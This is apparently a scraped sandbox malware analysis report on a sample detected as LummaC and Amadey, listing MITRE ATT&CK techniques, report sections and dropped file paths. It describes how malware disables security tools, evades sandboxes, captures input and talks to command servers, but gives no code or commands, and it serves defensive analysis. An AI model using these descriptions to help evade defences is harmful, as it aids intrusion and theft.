Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\1016538001\2ab65296fe.exe

Windows Analysis Report
file.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre